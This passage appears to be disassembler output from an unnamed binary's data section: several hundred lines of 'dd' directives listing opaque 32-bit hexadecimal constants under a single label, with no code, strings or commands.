		dd 1A2AA002h, 0DB444873h, 0D1525AFEh, 508B0A24h, 0E3564CFCh
		dd 0E01FE97Bh, 0C7408E95h, 0FE4F8607h, 55C0A63h, 2E949A9Eh
		dd 1D3B4094h, 0FF7268C7h, 1F33B000h, 0EE136C18h, 0E06F09BAh
		dd 0C273A5Fh, 973E42D0h, 0EA004459h, 0F68FC9C8h, 5AA20020h
		dd 9AA81439h, 11EF19Dh,	1ACA8253h, 8C91608Fh, 868E42Eh
		dd 92889C65h, 5FD544D6h, 0F25EDC01h, 0D2F069B7h, 976517E8h
		dd 263C0095h, 0EF98FF40h, 0E05DDC3Ch, 0F4FBFA91h, 15941D29h
		dd 0C80E05E3h, 0EF606366h, 2A7294E1h, 58082812h, 6A4D8444h
		dd 2218E289h, 0B469F87Ah, 0F1664200h, 13A3C4E8h, 0B57E19C0h
		dd 0CB86EDh, 48158FC7h,	0CF5F7C2h, 9600C4B1h, 9FBFDF8h
		dd 0C67F1D6h, 2BA0E00Eh, 4DA5B900h, 0FF00051Eh,	0BD70D494h
		dd 0EE12B00Bh, 3258A966h, 0E54EFA10h, 0C78A1800h, 52055DB9h
		dd 0A888B784h, 0D06925DCh, 9CF8A65Bh, 0E84CCE11h, 0E6246604h
		dd 519404E9h, 2458A054h, 823190CEh, 68E59A69h, 0AC885258h
		dd 0D91828BCh, 477215BFh, 0F0097C22h, 0B472F5EEh, 760B6003h
		dd 0C86227B8h, 0BD684B1Bh, 0A953FF00h, 0CC24610Eh, 63101C87h
		dd 0AD9D9CC8h, 1F131B93h, 0DF5E890h, 0A0213162h, 11C596A1h
		dd 0F2158665h, 79C71FC0h, 93A167C2h, 0E6909811h, 0CFB486Ch
		dd 4A910221h, 3915302h,	7C788B6Eh, 0CB0075E0h, 1677A657h
		dd 98EDEFF9h, 0BF6E5058h, 0AD2C0028h, 95C6494h,	0F6E07097h
		dd 3800B891h, 2865F718h, 13810084h, 119DBA94h, 0C90546DEh
		dd 0D86678AEh, 294ACC32h, 0D200CCD9h, 0EF643788h, 235C0019h
		dd 162A91CEh, 6914FE33h, 4F80C806h, 0F4934020h,	42500F3h
		dd 5295242Fh, 25950964h, 0CD06D5Ch, 99A182EDh, 523F0798h
		dd 434FA1D5h, 8AC7D4E6h, 9AD01301h, 8336A190h, 0ADEF128Ch
		dd 0E386D4B0h, 8A0A6D10h, 0CA26C083h, 0A2970371h, 0C3FDDDCBh
		dd 0D8663681h, 0B73944A9h, 0C0C8DC5Bh, 48C9F639h, 25BE047Dh
		dd 0C4C2AEACh, 82F0444Ah, 80861FC6h, 3BC9CC98h,	0B4D0C4AFh
		dd 40A1889Fh, 4AF1B900h, 0D7AC847Eh, 0BF4B03C4h, 166CC303h
		dd 0B39289B0h, 2960665Dh, 6792FC12h, 981E1C28h,	301326ADh
		dd 0EE350800h, 0F5D84E00h, 14A0E6Bh, 1679124Bh,	71CBF84Dh
		dd 0AF2F3073h, 0C5D20404h, 64826DC7h, 87321E8h,	6FE7F801h
		dd 4F43C4B0h, 735E9D22h, 24865DA0h, 5AC3F92h, 0D3EB21D7h
		dd 50228DB4h, 0E7E129BBh, 42BD00A0h, 0F5F37C95h, 0CFC63506h
		dd 20B876A6h, 0FA7DFE15h, 0AB2C23B5h, 43F088F2h, 0CC200C1h
		dd 7740E821h, 92539976h, 6EB403B0h, 0F1C26958h,	40BA494Dh
		dd 0C8764F78h, 53895950h, 0BFDF2520h, 0BD07A822h, 8AE81010h
		dd 0DDC2E8DCh, 0B7D85669h, 0C08088A0h, 8911025Bh, 42A30043h
		dd 2FB136B5h, 0A23322D0h, 0CCE9D8C8h, 0B400C0E6h, 63F3D6AEh
		dd 0E70E2284h, 0DCF2797Ch, 8AB12A81h, 413BC2C4h, 0AB6DCAD8h
		dd 0ED2471B5h, 86060D72h, 0B5AE1691h, 0A9B4200Bh, 7300E557h
		dd 0CC38EFA4h, 71466Fh,	0ACA1CA1Dh, 0E8681A72h,	79D2225h
		dd 0F1345EC8h, 0A9C59123h, 2E9B8078h, 0E47C526h, 0EE22ED23h
		dd 5B03D20h, 0D804FBA8h, 0BAD07951h, 0F8BE5481h, 4E894608h
		dd 40425030h, 22970A63h, 0C082B1F0h, 19C4E0Fh, 0B66F9BA2h
		dd 62969562h, 14E80904h, 99CC49Ah, 0F8C250E5h, 0C8465809h
		dd 0E4149227h, 0C29E0018h, 0E6120FEAh, 0A800F30Dh, 0FB36A6EEh
		dd 4D2CE0F1h, 603B6495h, 58D622C2h, 0A1054BEh, 0E03BD9h
		dd 9ACE46F0h, 2593F1C7h, 0EC1AC1EDh, 0E1AC5460h, 0B5624484h
		dd 3F4A48C4h, 0A4E5AD04h, 0A50361D8h, 739E8251h, 339D80C4h
		dd 1CE30774h, 4FFD237Eh, 533849FDh, 3098B885h, 0C3AF1E98h
		dd 0E9B6100h, 0D855C7BFh, 58720B5Dh, 0E498F8D9h, 109FC17Dh
		dd 0BA218h, 6E4FB16Bh, 77818A2Fh, 63D9E905h, 8408B5EFh
		dd 499C645Ch, 0C40806Dh, 249A536Ah, 17F86F46h, 0EC343067h
		dd 3148FF8h, 58EC3592h,	332BC0F4h, 0A33C22h, 0CFBC0E7Dh
		dd 68D0350Dh, 1F642F48h, 0AF0A15A4h, 0FD89AC3Ch, 52F5h
		dd 7A1BA1EAh, 0D7ADE544h, 81BBC807h, 3FD01E11h,	929B76Eh
		dd 0FA869414h, 0CE283410h, 5C914D80h, 8CC814D8h, 902C44A5h
		dd 718F2E9h, 0B239AFDAh, 0DB611057h, 0FE1EC47Dh, 0D7936A03h
		dd 44B3E012h, 63C85200h, 4FD515Ch, 7200B4A4h, 85261F0Eh
		dd 0B047AB87h, 6F7E04B0h, 85CDFCD4h, 1F60A25Ch,	1C8E9913h
		dd 2F6D6052h, 358627h, 65029EBBh, 41DD2DFFh, 0A8EA80BCh
		dd 0DC8B610h, 0E8684D89h, 2E5C6D2Ch, 4038F699h,	0BD597941h
		dd 5873F712h, 33E6BC04h, 0A49E8C48h, 0F6AD1440h, 7C0C36h
		dd 0DA22EC50h, 76FBA034h, 0FED75812h, 0DDC0201Dh, 78249952h
		dd 3CD5F435h, 57B0F3E6h, 764A9F0h, 0E8365002h, 61589B1Ch
		dd 0FD0DEFACh, 8AD018Eh, 2C2650C0h, 894731Dh, 8A10D94Eh
		dd 944CF853h, 4378E449h, 0DD3E1083h, 47708A00h,	0FBD21868h
		dd 9A8EE404h, 4A3918Bh,	1A9FF905h, 0D2D0CC6Bh, 1209E188h
		dd 819BD166h, 158895ECh, 0F4D97807h, 6C808415h,	161073D6h
		dd 720E25h, 3AAABB86h, 0AB3B9861h, 29658015h, 7D4F1418h
		dd 59AF277h, 0C7BCED79h, 0A2A884D3h, 432E0014h,	0FFA38B39h
		dd 0F69B000Bh, 0FC1BCC7Eh, 0D4094F41h, 82F5CB37h, 11E03424h
		dd 0C054729Ah, 2215BA90h, 8ECF0065h, 0FFF39E50h, 5476BF52h
		dd 413D6627h, 4D1057BCh, 0B8A8190Eh, 0B980D67Eh, 0D4960082h
		dd 4DED3734h, 6400AACFh, 0C9F806E8h, 353E0E4h, 5E85F46Eh
		dd 1002E619h, 0C89990A6h, 8B6C48FAh, 2411978Fh,	246A0D3Eh
		dd 842C8504h, 0A4680820h, 885CDC84h, 61DB3E5Fh,	281E6904h
		dd 832578E0h, 12B3D4F8h, 2094CB30h, 845E43FBh, 0A325847Ch
		dd 0F68850B0h, 888A3444h
		dd 0D6002B9Ch, 2FBCFA20h, 7597335h, 627B2116h, 42683145h
		dd 3C4C6082h, 407999B8h, 50ADCF01h, 999D4427h, 203421h
		dd 0B390C0h, 2516A821h,	59710F97h, 98466119h, 2A0C22B1h
		dd 2E4CCE54h, 20738140h, 0C0A011A1h, 1E00318Bh,	0F13980CDh
		dd 7FF574h, 83B5ADFAh, 294BBD91h, 168DD500h, 0EABA43F2h
		dd 3F530051h, 6856F3CFh, 17128BF6h, 0D80FA5FDh,	82C344A8h
		dd 0B27E565Fh, 5C428030h, 1B869h, 0DA53CB48h, 0A87BF3BCh
		dd 5495A424h, 12E6213Fh, 74E76Fh, 2F2970B5h, 4F82A1Ah
		dd 429D648Eh, 29C8117Ch, 0DE91D443h, 0A6526D00h, 15AA240Ah
		dd 7440F54Eh, 22323FFFh, 35C41CB6h, 74F24069h, 55C76C2h
		dd 0C988EE2Fh, 0F109DFCCh, 99C91715h, 343283D8h, 0FC7B8B84h
		dd 5AD8264h, 19745183h,	0DCFB39CBh, 0A109DA69h,	45B5157Ch
		dd 4D8B04ECh, 30A852A6h, 2B479780h, 0B100076Bh,	0E665C805h
		dd 0EEACAB48h, 8C34A96Fh, 6880806Ch, 0C84DECE3h, 7221CCB8h
		dd 0A8283F9Eh, 0C0981F14h, 812F525Fh, 0E87930h,	9D04FBFAh
		dd 0C0231420h, 0C49E03FCh, 3A7753h, 30FD7DABh, 70795E3Dh
		dd 6FE0AB0h, 0E4497227h, 12A7701Ch, 8B0DFBF6h, 8E4248Ch
		dd 5FC8BC10h, 2F6BDC85h, 0AC9214ECh, 8CC5A008h,	3FE4733Ah
		dd 5C0075ADh, 0E03E1E6Eh, 0D620E8B0h, 0ADD7405Dh, 8CE2934Ah
		dd 39D07C09h, 1819ED82h, 0E5ABE3E0h, 0E1A150A0h, 0D71CA500h
		dd 9B18936Dh, 3BDE8F9h,	3FDE69A7h, 82A268CEh, 3237C484h
		dd 1CFA25B9h, 47D4D3F8h, 944BF644h, 0C804ABF4h,	44CC0E6Ah
		dd 8C6B5CDEh, 839011h, 81A15263h, 2CFF8955h, 11406FE5h
		dd 16FE1317h, 544CE4A3h, 95882321h, 0B9AD008Eh,	457AA253h
		dd 8894024h, 0AC146371h, 10A18058h, 0E1088Bh, 0F5BF777Eh
		dd 1D2422FBh, 6020AD4Eh, 0B6FACAh, 0B4E89C20h, 4498DE99h
		dd 9F5CE748h, 51E542C0h, 40DD53Bh, 0DF6AE95Eh, 0C4D0D420h
		dd 888C165Eh, 6400BB14h, 3358433Ch, 710EDB5h, 8241177Dh
		dd 6B8A2185h, 0A150287Eh, 782070BEh, 274801B3h,	0C6F8CBAEh
		dd 848BD68Eh, 0C8285C72h, 3343D476h, 0BC809622h, 2849068h
		dd 7537765Ch, 20E05472h, 3A842E0Fh, 0DC407894h,	0D2EC535Ch
		dd 913EBC0Fh, 1AFB2A0Ah, 0B09B1354h, 0FA88D2B4h, 8F25224Bh
		dd 0F1289604h, 3CC808FBh, 0AAF473h, 74D4607Ah, 0B6851A16h
		dd 0E804765Ah, 1E22F8C2h, 1286E213h, 78103255h,	0BAA22098h
		dd 27250DF0h, 80A87133h, 96DBE621h, 7400B18Ch, 0FE163E57h
		dd 9EF8F5CCh, 0A40B27F0h, 0F240458h, 0CE64E0E9h, 0D404C84Bh
		dd 56393298h, 0BA24E0DCh, 0D7000E8Bh, 0CF726FF0h, 49DE6A01h
		dd 405390BFh, 0B79D8400h, 7E510442h, 0F07D4403h, 0A5564EC6h
		dd 0A93488h, 20F16F5Ch,	9F112214h, 3F2C29F2h, 4100BE67h
		dd 924C5912h, 0F971131Ch, 8498D0F5h, 2B33E15Fh,	88E04EDDh
		dd 1169555h, 6D14F59Dh,	338F943Ch, 5EC26F0h, 9D4C827h
		dd 2A2001Fh, 0B8D9D6B2h, 5E00476Dh, 0EFF04F32h,	2C6B7BDh
		dd 1AA0BEFEh, 0C844512Fh, 0F051CB65h, 0B44888h,	0A0BA749Dh
		dd 0D38C928h, 92329F02h, 5661AE03h, 0E2051D20h,	17E8D881h
		dd 131CF320h, 1492165Eh, 1E10B2ABh, 0DD409F1Fh,	54B06135h
		dd 0F7D827F9h, 0C2750090h, 3D42ECB8h, 68C59027h, 0F2EA4703h
		dd 0B59AC8E3h, 88E000Eh, 0C3C90C12h, 0B726BE1Ah, 13153825h
		dd 18182570h, 8019B98Ch, 9426CC53h, 0E6627411h,	0D264496Ch
		dd 0B8AAF20Ch, 2A4044D6h, 7DD06Ch, 0ED78DCD7h, 0DD7AF055h
		dd 0E6038F0Ah, 642F9067h, 1626028Ch, 0C625F808h, 741AC60h
		dd 0D72E100h, 3BADDA68h, 5237005Ch, 0A549316Dh,	5A60D44Ch
		dd 0EF8A4010h, 0BCCE0203h, 0D56A8B8Fh, 0F780D0F3h, 59084FADh
		dd 0A5EF0096h, 12890E94h, 9104B03Fh, 0C49E90E6h, 3CAE8081h
		dd 12836E0h, 21207C8Eh,	8039E153h, 0BCE9A08h, 0E02A1581h
		dd 0E50D01A8h, 0CD82EF27h, 202080F9h, 0DE017A28h, 0D0EE03FAh
		dd 98177F3Fh, 13994907h, 11AC2B77h, 0E2B300BBh,	0EAACEF93h
		dd 0A400225Bh, 2BC68E65h, 31D30BD5h, 0DA5933B9h, 21088029h
		dd 4DFA25Bh, 376E03ACh,	0EEE18038h, 90FE28EEh, 15E52800h
		dd 7C475E31h, 0A87200CDh, 6554E7Fh, 530093B9h, 622A36FEh
		dd 0A085F2h, 0A2B5F29h,	892CE93Ch, 0C91AE00h, 0A2073746h
		dd 0BB6E0040h, 8DBDB633h, 0AC00216Ch, 5CB0351Fh, 350287Ah
		dd 83611CFBh, 2BD80E99h, 0F31E8247h, 0B0B18F6Dh, 0F180AE4Ah
		dd 7C8D9A70h, 0E072CBF9h, 0A83CA402h, 8044A327h, 9D384BE9h
		dd 0A80D51AAh, 0A2F3AC00h, 24F9CF1Eh, 8AC4058Ah, 808C25CDh
		dd 7D36C0A0h, 200E9E3h,	928611A7h, 0A61A336Fh, 80B303BCh
		dd 7BB9763Bh, 0F0A4FEEAh, 0F37A406Eh, 0A4E0F6DFh, 0F17E00A4h
		dd 4EE46E79h, 0D100C66Fh, 0E535840Ch, 187849CAh, 990BA7F3h
		dd 49C08C4Ah, 692C8775h, 6FAF0006h, 0F8D4A493h,	21C0804Ah
		dd 6D754835h, 0F5B4001Ch, 0EC49CB46h, 23009A55h, 41BB8921h
		dd 0C3828CF1h, 18A0D331h, 7381E902h, 46B2B96Fh,	0D3924450h
		dd 0C640B548h, 61999A5h, 0AB6FBAB1h, 864489B8h,	7C77810h
		dd 0F588267Fh, 0A0D4501Dh, 4400EF62h, 6FCF0C3Ch, 35EAA3h
		dd 3FAB4056h, 34D8D5B5h, 54AC0301h, 0CFF14AE3h,	43B23440h
		dd 0D8D20464h, 202BDD4Dh, 3A76655Dh, 96817AB4h,	2A3A25A1h
		dd 26C88871h, 546B445Ah, 4002C064h, 74DE26h, 0CA9DC11Eh
		dd 460F0D87h, 1AE4123Dh, 0A4414AE1h, 1C47180Ch,	15F4619Dh
		dd 0F3D040FDh, 0F97D9Ch, 48B4AA3Eh, 2488A8EDh, 0B751FF80h
		dd 1ABC86h, 0C02C0C81h,	0F1CCD7F7h, 7413A0A0h, 2923B80h
		dd 587A7832h, 0A89809BBh, 0D3E09DD9h, 0A780F300h, 0D1605F66h
		dd 40E1297h, 0C988232Ah, 0D373710Ah, 7C40ECB4h,	0CB56BDDh
		dd 557AFCB9h, 1D22D1C0h, 846D2AD5h, 0CCEB1D1Ch,	16A20C62h
		dd 17F87741h, 6C9BE124h, 1E3188A0h, 0F2CD2169h,	250129BEh
		dd 1D701FA5h, 6A75DCA9h, 3E944301h, 42EE1C32h, 40316830h
		dd 2D1F294Ch, 0FCC03318h, 98B2BB61h, 89D6584Ah,	27196400h
		dd 3E1FBEA9h, 96F42309h, 125C841Dh, 28226032h, 4668468Dh
		dd 0B9FF02A2h, 2FE36B3h, 0BD2099A8h, 0F212DD33h, 9335001Ah
		dd 0EF9DBDAh, 960F15E4h, 64F28D5Fh, 44C8217Fh, 0CBDC02B5h
		dd 7212AAE9h, 5B0A3040h, 0B2A24484h, 0DCFBE8A0h, 50695A80h
		dd 1AF86E8h, 41262EA7h,	0F4AB74A3h, 0D4006E39h,	0CC23A29Ah
		dd 0C0EFCD91h, 7DEAC1B9h, 2262EC47h, 115AF668h,	7BD1259h
		dd 2404F833h, 509038FFh, 0A4526EF3h, 457912E8h,	0FE1600EBh
		dd 0CD196A12h, 0FF324E00h, 18E129ABh, 3CD200F5h, 0E417EA27h
		dd 0F062CD90h, 0F7F8BE89h, 1155D4E0h, 3F805900h, 0ED2DF247h
		dd 6F5F064Dh, 80DAB1F0h, 16620D11h, 2C256D11h, 4D40444Ah
		dd 0C66293h, 92BD26A2h,	0CF752B7Eh, 0FD397910h,	13EEB511h
		dd 0AC25A428h, 0D11F5801h, 0E18037E6h, 832F6AADh, 74583D34h
		dd 21A9CF9Ch, 7C08C13Bh, 42D81460h, 838A7829h, 31DB670h
		dd 1BA94F69h, 1106A5EEh, 55646021h, 8217E698h, 0F3A33C40h
		dd 47363900h, 76B319C6h, 3AD70010h, 0DBF06282h,	430B88A8h
		dd 801C08B5h, 1B6BE3FAh, 0A9763E3Dh, 105C40A4h,	9435C9E6h
		dd 0ABDB0010h, 5268B7ECh, 0F602268Fh, 646C2DC2h, 73BB02C1h
		dd 35062407h, 892904F1h, 9014A6D3h, 25812378h, 82601E58h
		dd 912AA0F3h, 0FA108BC4h
dword_577994	dd 0D90367E2h, 5E7699C0h, 0AE85F09Bh, 8DD50019h, 182F78CCh
		dd 0F601E23h, 74894049h, 0C32CB079h, 4622CD20h,	0A9F1700Ch
		dd 4DE159D2h, 3400ACF2h, 92ABED5Ch, 6400361Dh, 0A2B07145h
		dd 980C37Bh, 0C6FC70A5h, 26A36C01h, 0C65A12FEh,	0DA3F4434h
		dd 6AC12260h, 66050Bh, 643BA1ECh, 9095971Ah, 0D8A90D07h
		dd 4C51A5FDh, 94704868h, 0C264883Dh, 2E9CD400h,	5090CB79h
		dd 66470094h, 238ADA4Bh, 10000A73h, 0E6BADB9Bh,	0B05A211Eh
		dd 2FEB21E0h, 91E1C43Dh, 652E00B0h, 0C0FCA892h,	5AC293Eh
		dd 287118A4h, 599F009h,	0BC22AB38h, 443621AAh, 0BB1BC004h
		dd 73276900h, 62D71C6Ch, 5E998F6h, 7AF55B0Dh, 5A604E9Ah
		dd 3DEDAFh, 509E39F6h, 5EF81C2Dh, 0B57DD600h, 0FCB1C899h
		dd 72491428h, 0AA0AC0CCh, 44A014A2h, 1B3A4021h,	108CAC3h
		dd 0F39F54DFh, 0F996B233h, 0EDB0ECE3h, 36808CB1h, 9F45BBC3h
		dd 1E7A0E46h, 8A410BDEh, 40DDC1F4h, 0E63B2E90h,	8867CF80h
		dd 0F360CD7Ah, 0B17DCE79h, 3DA0004h, 0F0CA914Bh, 0A01BB93h
		dd 0E5360685h, 0A0CAE12Ch, 68BFBAA8h, 0FE6F0077h, 4DBE12DAh
		dd 0E77E033h, 7C12367h,	0F1B71FA7h, 0B89D1053h,	2C2F8DFh
		dd 780EEB02h, 48607976h, 6084B268h, 821D6117h, 0CB06FFAEh
		dd 0CF3E2B77h, 58E048E8h, 0B64EF680h, 1B03709h,	5D268100h
		dd 48E654F5h, 0D70B4892h, 0E39BC706h, 8003E122h, 0B4144ED3h
		dd 8B30D95Eh, 2B2BCE0h,	4368F589h, 0E5E2CF2Ah, 48B82087h
		dd 99000591h, 5C83A757h, 0C31E0F76h, 1B40508Fh,	0F3E28ED2h
		dd 60544CDBh, 881E5C10h, 3BE14392h, 0DAEB4903h,	881C5499h
		dd 24EECB7Dh, 443C1F7Ah, 0B83D40A9h, 47C1E9Fh, 0B2B4791Ah
		dd 0FEFA8335h, 782EE7D0h, 100096B8h, 73164802h,	0BA359B2h
		dd 83778ECCh, 8198B488h, 0DB755679h, 94B44178h,	405808BBh
		dd 0D8B84016h, 126C8D44h, 83800BB5h, 693DE27Ch,	2A24409Ah
		dd 2AC0FC19h, 445CA6F3h, 0DD00D2A8h, 2152CDFh, 966B44h
		dd 0B2FF41B3h, 54C9A578h, 4AD6CD13h, 5E824405h,	2B851480h
		dd 0DB41C0A7h, 3E9E74FEh, 0B2417503h, 304CE925h, 0C0207952h
		dd 1AF6836Fh, 0C033EC91h, 2855A48Bh, 4474902Ah,	0A7002861h
		dd 7EB803D0h, 0C0F1E154h, 2EA84BC9h, 2C005194h,	0F7FDD2Fh
		dd 0AD5E8FAh, 0DA6249D3h, 8094A9A4h, 0D9F08F56h, 7801A73Bh
		dd 4A339770h, 98F8C936h, 0E1FD2E59h, 18AE00DCh,	8B7F55A5h
		dd 0CEB8CD09h, 0A2FC82A7h, 7AB89011h, 0D3500F1Dh, 74401B1Ch
		dd 0BB2AE86Ah, 29753200h, 0EF6941FAh, 16E6908Bh, 0E06CE6Fh
		dd 37E8D2A0h, 9978F38Dh, 0C863BE0h, 0DB8EF126h,	0D870B261h
		dd 27D3B8ABh, 80762938h, 6660383Eh, 73F554F6h, 621E034Bh
		dd 0D04264FFh, 26DA6018h, 24BA5931h, 451B80h, 69C3FE5Bh
		dd 0AA09686Eh, 603D6CFDh, 8954A6C8h, 22E9C05Ah,	4CC8854Ch
		dd 10F97D70h, 4979655h,	2B6DEEE2h, 19730099h, 0B0A5CCBh
		dd 0A628045Dh, 0D6FD2490h, 5D38223h, 0FF02FF2h,	0A7E03528h
		dd 0AA764A70h, 0A2EEE90Ch, 728955h, 818E1319h, 46A3797Dh
		dd 0C19D1F03h, 0C22B99BFh, 190882CEh, 761487FBh, 83290100h
		dd 7A2BE85Dh, 40630089h, 1DDC85ECh, 0D778AAA0h,	0BC43DB4Eh
		dd 0F8AF117Dh, 162237Fh, 0DE9CA1ACh, 9C8F22B9h,	43803F78h
		dd 11D9C924h, 0B4D200F9h, 49910F09h, 8D00DCB5h,	53E6FC2Eh
		dd 0B12BA87h, 0EEF4192Fh, 2EF80814h, 0E026B507h, 2300D466h
		dd 1F1370F9h, 493F90AFh, 35856F33h, 0D1849130h,	0A07A10DBh
		dd 1A5E1DDCh, 6F73C0BEh, 0A28DF11Fh, 2344C094h,	0CC492943h
		dd 0B1013A7Ch, 0E7FCF143h, 7C72CD30h, 93498900h, 5ABE0646h
		dd 79225400h, 58BFAEE5h, 738C0343h, 37CFE1FFh, 0A9AA8911h
		dd 42F487Bh, 166F1A81h,	0D00C80C4h, 0CC8048D8h,	5C837CF6h
		dd 916B9CDDh, 4BA0081h,	0D0850454h, 2B40F830h, 0EF1A0372h
		dd 370225E2h, 77C6148h,	0DFAD78FAh, 4AD46189h, 89033432h
		dd 3E295465h, 30702FE0h, 2E560400h, 6016CB8Ch, 0F0C2138Bh
		dd 0AC6488AAh, 360BB709h, 1A2C85CCh, 0E81DE8C8h, 0E37900DFh
		dd 7B09E1CFh, 0BC01D264h, 7F73AE0Bh, 0D6F525E0h, 0EBF08048h
		dd 33183E00h, 0B7003A70h, 0C1EBE21Fh, 3835B78h,	0CAFB59D2h
		dd 810118DAh, 3681543Bh, 0A852E0FEh, 0B6D321A8h, 221422FAh
		dd 2CF1000Bh, 6DC4990Ch, 0DF041830h, 56A9B7AAh,	202204D2h
		dd 8C257DC6h, 17A6EE00h, 7770FE64h, 823B0935h, 0F002ABD8h
		dd 0F094720h, 859708B4h, 81B1AF6Ch, 31A36009h, 20B4040Dh
		dd 73AA3EDCh, 250E2891h, 0BB6842A5h, 7814604Ah,	0A7C08A0Dh
		dd 0A1DDBB5h, 6F3D5541h, 6702C019h, 0DD53F7E3h,	8EDD87E0h
		dd 502AF71Dh, 23421132h, 602BAD3Eh, 83393491h, 314D03E5h
		dd 7B2FB949h, 3EB06883h, 0A80B78B7h, 37C57C3h, 1A0FA76Ch
		dd 41182469h, 0A491C050h, 6FAF7881h, 0D42DB767h, 40123422h
		dd 2C083D1Eh, 8357476Fh, 410327CDh, 63D0DFF4h, 0ACAAA8D7h
		dd 4CFA0013h, 1A8DE65Fh, 230CCE5Eh, 7922260Dh, 880B5678h
		dd 0CE4AB002h, 0E0708146h, 98527721h, 764039CAh, 5BC4AE01h
		dd 7731519h, 0F86067F1h, 0ACD916DEh, 97040855h,	83287A80h
		dd 2BC761h, 0BC026450h,	0D701F61Fh, 1A5C4F00h, 87D32FF7h
		dd 0DC7A14EBh, 1403F896h, 4F6FF383h, 1F1AA101h,	79BB33CDh
		dd 7D28C6E6h, 0A1901Eh,	6ACA17E1h, 2B588EE0h, 0B8C0FFECh
		dd 425C0153h, 0B8BB17AAh, 3488081Eh, 3580529Fh,	68EEC25Eh
		dd 0FC310036h, 0EA30B28Ah, 90009817h, 0B8E1D248h, 0E0E4D49h
		dd 5F82D7B5h, 0B9282D80h, 0A6F8A80Ch, 0FD27501h, 0E30EFFBEh
		dd 0CFE80AF5h, 0AEAA00D0h, 663734C0h, 76EEAB83h, 0BA1D0428h
		dd 12D4531Dh, 186F00BAh, 159EA3E0h, 0DE81Ch, 34BBA0F2h
		dd 0AD3871BAh, 2FBDD603h, 0B868C763h, 890872h, 40F7D110h
		dd 2218716Ah, 48774B01h, 0F45DA342h, 7FC04083h,	81BCCDF7h
		dd 0FC83075Ah, 0E800A63Fh, 4D3C6312h, 60A21EDCh, 0F913710Ch
		dd 0A00AE6Fh, 0C4FD2D95h, 25156148h, 5DCB18Dh, 0A3FBC603h
		dd 6F311C13h, 695B009Ch, 8AB3BA21h, 6E75BC00h, 3EB015D5h
		dd 1129C3E4h, 0E0A3C37Ch, 0D305AFC1h, 87E11919h, 11810EB0h
		dd 3E3CC685h, 3B6BD01Dh, 0FD1AEA00h, 9A67392h, 0E808611Ch
		dd 88108C42h, 27EAD1h, 4CBB9DE9h, 74003D13h, 9EE34DEFh
		dd 0CBC15BFh, 7E79107Bh, 5064081h, 0F7DA1250h, 10A43089h
		dd 47244581h, 8F906A00h, 0E485AD1Fh, 2B4339A8h,	6B3FCD80h
		dd 0E85F8EF5h, 3AFF91Dh, 76227028h, 18CD989Fh, 10AB3847h
		dd 19C7B99Dh, 9A805208h, 0B529E3h, 56172E64h, 0F883D96Bh
		dd 48C81350h, 0A3BBF008h, 0AF478FEAh, 0AD00A9AFh, 1D714D5h
		dd 89C60D1h, 3F76489h, 7C3C18E0h, 85E0E2C3h, 3530C020h
		dd 10B0E1ECh, 898A6374h, 190090D9h, 0A1EDE97Eh,	6E1C80h
		dd 74350A7Bh, 2A85AC96h, 854A243Eh, 0A5A31E6Bh,	0C3437404h
		dd 0E7372020h, 0F7DBF804h, 18C06D08h, 0BE5825h,	5C4E9413h
		dd 3DBAF9BFh, 3A4F1800h, 0AAF5D741h, 0E4C050DBh, 357E0251h
		dd 27AD7463h, 0F5090440h, 0D9C3F9CCh, 2DE04FDh,	0EBDB456Ch
		dd 28757300h, 0B017BC81h, 0A4EF5116h, 0CDAA9C0h, 0B09AC083h
		dd 53003BA1h, 0E7DB6310h, 0E57A8h, 98C7870h, 49E6ECCAh
		dd 0A084C3B0h, 52E7C303h, 0E0F4F3BEh, 0A99D2B5Dh, 0EE1085E0h
		dd 0E1035672h, 0E6C9F44Eh
		dd 3205B0A2h, 0F95B0010h, 266289EDh, 6F0039B2h,	83C120DEh
		dd 0C3A27411h, 0FFA5A841h, 0C3CC90ECh, 0C4A8BC20h, 7D00F606h
		dd 4165DDBEh, 0A3CE9A2h, 0DC3EAFF8h, 0A6C080BCh, 0A967DB4Ch
		dd 8BA810A0h, 0E0989354h, 7B22ED00h, 2E44F4EAh,	0E69D485Fh
		dd 39AA92Eh, 14B55EACh,	0A3221114h, 15C01E14h, 0EBE07B40h
		dd 6048DAF2h, 866951FCh, 73005F18h, 499C7EB7h, 1FCAE779h
		dd 0D5E27Fh, 3C38A9BBh,	0D4F74206h, 9C00956Ah, 0BFC2B59Fh
		dd 3AF350Bh, 56D9B0C7h,	0D0A7ECE5h, 1EA3745Eh, 0CD7DEF00h
		dd 0B8DF2702h, 52E3004Ah, 0C93CDB72h, 0B405B0C1h, 8ADA57ECh
		dd 4EB59040h, 776DF4CEh, 0C265007Ch, 0FF58E42Fh, 56756B8Bh
		dd 64058403h, 0A01E95D4h, 3EF90EAh, 0E362AC5Fh,	49F0F951h
		dd 0EB006DFFh, 8455C30Ah, 0E5F6A3h, 1551A971h, 66617B2Eh
		dd 0D00C8579h, 2804BED5h, 0DE8F78B5h, 69FC0D30h, 8516F008h
		dd 591FAD0Ah, 0D500A7B6h, 0E1789DDFh, 0EA20C14Dh, 0C0442058h
		dd 4F0076A0h, 89FC146Eh, 0C0E19A7h, 3D0A6773h, 0D6606B89h
		dd 2A707D61h, 0D8F487h,	4BC366FBh, 0BAF1F8D2h, 89A05900h
		dd 0FD8FA9F3h, 0EE00679h, 0A9BF4D63h, 8C00CC98h, 4829B376h
		dd 35E97ACh, 40AAA238h,	27D0E022h, 6E3B7EE4h, 625A8046h
		dd 0BAA5598Bh, 5EDB1560h, 0FC182C08h, 0F198E96Fh, 1DF66B0Eh
		dd 546E476Ch, 718C8BC0h, 0C13660EBh, 7C0A3B44h,	540138F0h
		dd 4CDBF713h, 6FC4FBEBh, 0AD3F306Ch, 71C48B28h,	0DE88B518h
		dd 6F6763F1h, 3503C137h, 793E5458h, 17B70632h, 38E8E9A9h
		dd 29600D67h, 4E570FEEh, 0A2EF8300h, 32ADC2B9h,	0D0733885h
		dd 8DC8DA9h, 0C880C58Ch, 0AFE70FE9h, 3235F6B1h,	4A697D5Dh
		dd 6647A090h, 67885B00h, 13E79E9Ah, 4B8207B1h, 3018D081h
		dd 78AE60D3h, 0F78B713Fh, 9101C137h, 0D6EFFE0h,	39A71C38h
		dd 5E183A0Bh, 0AD89A863h, 9600F0A6h, 4A3C2A22h,	24C9158h
		dd 8C7D43CAh, 0E2E06CACh, 630C6F07h, 307B33ECh,	0A018055Ch
		dd 8684335h, 91808C58h,	0D972E7C7h, 0E8970C33h,	18E16B0Fh
		dd 0EFED6903h, 14501984h, 5897D239h, 71BC8D05h,	64C84C78h
		dd 9E0383A8h, 0B607CB5Ch, 37E9D02Dh, 7012623Fh,	4CE0C31Ch
